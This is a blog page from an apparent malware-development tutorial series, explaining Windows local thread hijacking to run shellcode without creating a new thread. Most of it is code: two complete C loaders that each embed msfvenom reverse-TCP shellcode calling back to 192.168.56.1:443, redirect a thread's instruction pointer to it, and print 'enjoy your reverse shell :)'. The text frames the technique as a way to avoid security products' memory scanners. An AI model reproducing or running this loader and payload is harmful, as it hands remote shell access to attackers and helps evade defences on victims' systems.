W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • Thread Hijacking
  • Thread Context
  • Manipulating Threads
  • Local Thread Hijacking
  • Hijacking a Suspended Thread
  • Hijack a Running Thread
  • Code Samples

Was this helpful?

  1. Malware Development
  2. Code Execution

Local Thread Hijacking / Context Injection

Code execution by hijacking local thread execution flow

PreviousCallback FunctionsNextLocal Mapping Injection

Last updated 6 months ago

Was this helpful?

Thread Hijacking

Thread hijacking (A.K.A Thread Context Injection) is a technique in which the execution flow of a running thread is altered in order to execute an arbitrary code (shellcode). the benefit of this technique, is that code execution is performed without creating a new thread. The main difference between thread creation and thread hijacking is that creating a new thread will expose the base address of the payload, and thus the payload's content ,because a new thread's entry point must point to the payload base address in memory. exposing the payload address might trigger the memory scanner in some security products which in turn will scan the memory region and probably find some signatures in it, which leads to process termination.


Thread Context

The thread context represents the complete state of a thread at a particular point in time. It includes the values of all the registers, flags, and pointers that determine what the thread is doing and where it’s located in its execution. By manipulating this context, one can control a thread’s execution, making it useful for debugging, altering program flow, and even injecting code, as seen in techniques like thread hijacking.

Manipulating Threads

Windows provides two key APIs to interact with a thread’s context:

GetThreadContext : Retrieves the current context of a specified thread. This includes values of all registers, flags, and more, allowing developers or attackers to view the thread's exact execution state.

SetThreadContext : Sets or updates the context of a specified thread, allowing modification of the thread’s execution by changing registers, flags, or the instruction pointer (such as redirecting execution to injected code).

And two APIs for changing thread’s running state (suspend/resume):

SuspendThread : Suspends the specified thread.

ResumeThread : Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

Here's an example of these APIs:

#include <windows.h>
#include <stdio.h>

// This function is executed by thread1
DWORD WINAPI thread_function(LPVOID lpParam) {
    printf("[Thread 1]: Thread1 is running\n");

    // run for 10 secs
    for (int i = 10; i > 0; i--) {
        printf("[Thread 1]: Waiting %d seconds...\n", i);
        Sleep(1000);  // Wait for 1 second
        printf("\033[1A");  // Move cursor up to overwrite the line
    }

    printf("\n\n[Thread 1]: Countdown complete!\n");
    return 0;
}

// Suspend thread1 to get its context, then resume it
void print_thread_context(HANDLE hThread) {
    // Suspend the thread to safely get its context
    printf("\n[Main Thread]: Suspending thread1 to get its context...\n");
    SuspendThread(hThread);

    // Initialize CONTEXT structure
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL; // Request full context, including registers

    // Get the thread context
    if (GetThreadContext(hThread, &ctx)) {

// for 64-bit threads
#ifdef _WIN64
        // Print values for 64-bit registers
        printf("RIP (Instruction Pointer): 0x%llx\n", ctx.Rip);
        printf("RSP (Stack Pointer): 0x%llx\n", ctx.Rsp);
        printf("RBP (Base Pointer): 0x%llx\n", ctx.Rbp);

// for 32-bit threads
#else
        // Print values for 32-bit registers
        printf("EIP (Instruction Pointer): 0x%x\n", ctx.Eip);
        printf("ESP (Stack Pointer): 0x%x\n", ctx.Esp);
        printf("EBP (Base Pointer): 0x%x\n", ctx.Ebp);
#endif
    }
    else {
        printf("[Main Thread]: Failed to get thread context.\n");
    }
    printf("\n[Main Thread]: Resuming thread1...\n\n");
    // Resume the thread after retrieving the context
    ResumeThread(hThread);
}


int main() {
    // Create a new thread
    DWORD threadId;
    HANDLE hThread = CreateThread(
        NULL,               // default security attributes
        0,                  // use default stack size  
        thread_function,    // thread function
        NULL,               // argument to thread function 
        0,                  // use default creation flags 
        &threadId);         // returns the thread identifier

    // Get a handle to thread1
    if (hThread == NULL) {
        printf("[Main Thread]: Failed to create thread1.\n");
        return 1;
    }

    // Give the thread some time to start
    printf("[Main Thread]: Giving thread1 5 seconds to run...\n");
    Sleep(5000);

    print_thread_context(hThread);

    // Wait for the thread to finish execution
    WaitForSingleObject(hThread, INFINITE);

    // Close the thread handle
    CloseHandle(hThread);

    return 0;
}

Here is a quick run down of the code:

  1. The program's Main function (the main thread) creates a new thread (thread1) using CreateThread API. thread1 will execute the thread_function function.

  2. Thread1 will start a count down from 10 to 0 while the main thread is waiting for 5 seconds after thread1 creation to suspend thread1 using SuspendThread API call.

  3. After suspension, the main thread retrieves the thread context from thread1 using GetThreadContext API and prints the information.

  4. The main thread then resumes thread1 using ResumeThread and thread1 keeps counting down to 0 from where is has been suspended.

These APIs are used in the process of hijacking a local or remote thread.


Local Thread Hijacking

Following the previous example code, here’s an overview of how local thread hijacking generally works:

  1. Create a benign thread (dummy thread) in local process and a benign function for it to execute. the thread can be created in suspended state or be suspended later.

  2. Suspend the dummy thread (if not already suspended)

  3. allocate memory and copy the shellcode, make it executable/readable

  4. Get dummy thread context, set instruction pointer to shellcode address

  5. Resume the dummy thread to execute the shellcode


Hijacking a Suspended Thread

First way is to create a local thread in suspended state (using CREATE_SUSPENDED flag in CreateThread API call), changing thread context and then resuming the modified thread to execute our shellcode.

Here is an example of a dummy thread getting hijacked from suspended mode:

#include <windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f c exitfunc=thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

// Dummy function for dummy thread to run
DWORD WINAPI DummyFunction(PVOID lpParam) {
    printf("[Dummy Thread]: Execution started\n");
    // Run for 10 seconds
    for (int i = 10; i > 0; i--) {
        printf("[Dummy Thread]: Waiting %d seconds...\n", i);
        Sleep(1000);
        printf("\033[1A");  // Clear last line
    }

    printf("\n\n[Dummy Thread]: Countdown complete!\n");
    return 0;
}

// Hijacker function
BOOL Hijacker(HANDLE hThread, PBYTE pPayload, SIZE_T sPayloadSize) {
    DWORD dwOldProtection = 0;
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL; // Request full context

    // Allocating memory for the payload
    PVOID pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("[Hijacker]: VirtualAlloc Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Memory allocated\n");
    }

    // Copying the payload to the allocated memory
    memcpy(pAddress, pPayload, sPayloadSize);

    // Changing the memory protection
    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READ, &dwOldProtection)) {
        printf("[Hijacker]: VirtualProtect Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Memory protection changed\n");
    }

    // Get original thread context
    if (!GetThreadContext(hThread, &ctx)) {
        printf("[Hijacker]: GetThreadContext Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Thread context retrieved\n");
    }

    // Updating the next instruction pointer to be equal to the payload's address 
    ctx.Rip = (DWORD64)pAddress;

    // Setting the new updated thread context
    if (!SetThreadContext(hThread, &ctx)) {
        printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Instruction pointer (RIP) now points to shellcode address\n");
    }

    // Resume the thread
    if (ResumeThread(hThread) == (DWORD)-1) {
        printf("[Hijacker]: ResumeThread Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Thread resumed\n");
    }

    return TRUE;
}

int main() {
    // Create a new thread in a suspended state
    DWORD threadId;
    HANDLE hThread = CreateThread(
        NULL,               // default security attributes
        0,                  // use default stack size  
        DummyFunction,     // thread function
        NULL,               // argument to thread function 
        CREATE_SUSPENDED,  // create the thread in a suspended state
        &threadId);        // returns the thread identifier

    // Get a handle to the thread
    if (hThread == NULL) {
        printf("[Main Thread]: Failed to create dummy thread !!!\n");
        return 1;
    }

    // Give the thread some time to start (not necessary since it's suspended)
    printf("[Main Thread]: Dummy thread created in suspended state.\n");

    // Call Hijacker
    printf("[Main Thread]: calling hijacker on dummy thread\n");
    if (Hijacker(hThread, shellcode, sizeof(shellcode))) {
        printf("[Main Thread]: Hijacking succeeded, enjoy your reverse shell :)\n");
    }
    else {
        printf("[Main Thread]: Hijacking failed!\n");
    }

    // Wait for the dummy thread to finish
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return 0;
}

If we setup a netcat listener and run the code:

As you can see the dummy function did not get a chance to execute the countdown code. thats because the Hijacker function modified the RIP to point to the shellcode, so the countdown loop could never be reached.


Hijack a Running Thread

Another way is to let the thread run and then hijack its execution.

Here is an example code of a dummy function being hijacked mid-execution:

#include <windows.h>
#include <stdio.h>


// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 -f c exitfunc=thread
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


// Dummy function for dummy thread to run
DWORD WINAPI DummyFunction(PVOID lpParam) {
    printf("[Dummy Thread]: Execution started\n");
    // run for 10 secs
    for (int i = 10; i > 0; i--) {
        printf("[Dummy Thread]: Waiting %d seconds...\n", i);
        Sleep(1000);
        printf("\033[1A");  // Clear last line
    }

    printf("\n\n[Dummy Thread]: Countdown complete!\n");
    return 0;
}

// Hijacker function
BOOL Hijacker(HANDLE hThread, PBYTE pPayload, SIZE_T sPayloadSize) {
    DWORD dwOldProtection = 0;
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL; // Request full context

    // Allocating memory for the payload
    PVOID pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pAddress == NULL) {
        printf("[Hijacker]: VirtualAlloc Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Memory allocated\n");
    }

    // Copying the payload to the allocated memory
    memcpy(pAddress, pPayload, sPayloadSize);

    // Changing the memory protection
    if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READ, &dwOldProtection)) {
        printf("[Hijacker]: VirtualProtect Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Memory protection changed\n");
    }

    // Get original thread context
    if (!GetThreadContext(hThread, &ctx)) {
        printf("[Hijacker]: GetThreadContext Failed With Error : %d !!!\n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Thread context retrieved\n");
    }

    // Updating the next instruction pointer to be equal to the payload's address 
    ctx.Rip = (DWORD64)pAddress;

    // Setting the new updated thread context
    if (!SetThreadContext(hThread, &ctx)) {
        printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
        return FALSE;
    }
    else {
        printf("[Hijacker]: Instruction pointer (RIP) now points to shellcode address\n");
    }

    return TRUE;
}

int main() {
    // Create a new thread
    DWORD threadId;
    HANDLE hThread = CreateThread(
        NULL,               // default security attributes
        0,                  // use default stack size  
        DummyFunction,     // thread function
        NULL,               // argument to thread function 
        0,                  // use default creation flags 
        &threadId);         // returns the thread identifier

    // Get a handle to thread1
    if (hThread == NULL) {
        printf("[Main Thread]: Failed to create dummy thread !!!\n");
        return 1;
    }

    // Give the thread some time to start
    printf("[Main Thread]: Giving dummy thread 5 seconds to run...\n");
    Sleep(5000);

    // Call Hijacker
    printf("[Main Thread]: calling hijacker on dummy thread\n");
    if (Hijacker(hThread, shellcode, sizeof(shellcode))) {
        printf("[Main Thread]: Hijacking succeeded, enjoy your reverse shell :)\n");
    }
    else {
        printf("[Main Thread]: Hijacking failed!\n");
    }

    // Wait for the dummy thread to finish
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    return 0;
}

Executing the code, we see this:

This time, the dummy thread is running, until its suspended and the shellcode gets executed instead of the countdown loop:

The process is then paused until we hit Ctrl+C in the terminal and terminate the reverse shell.

If we terminate the reverse shell, the program exits without continuing the original dummy function code. that's because the shellcode does not change the value of RIP to its original value before exiting. this is the caveat of thread hijacking technique.


Code Samples

Code snippets are available on GitHub:

GetThreadContext function (processthreadsapi.h) - Win32 appsdocsmsft
SetThreadContext function (processthreadsapi.h) - Win32 appsdocsmsft
SuspendThread function (processthreadsapi.h) - Win32 appsMicrosoftLearn
ResumeThread function (processthreadsapi.h) - Win32 appsdocsmsft
GitHub - 7h3w4lk3r/malware-development-samples: Samples for malware development series from my blogGitHub
Logo
Logo
Logo
Logo
Logo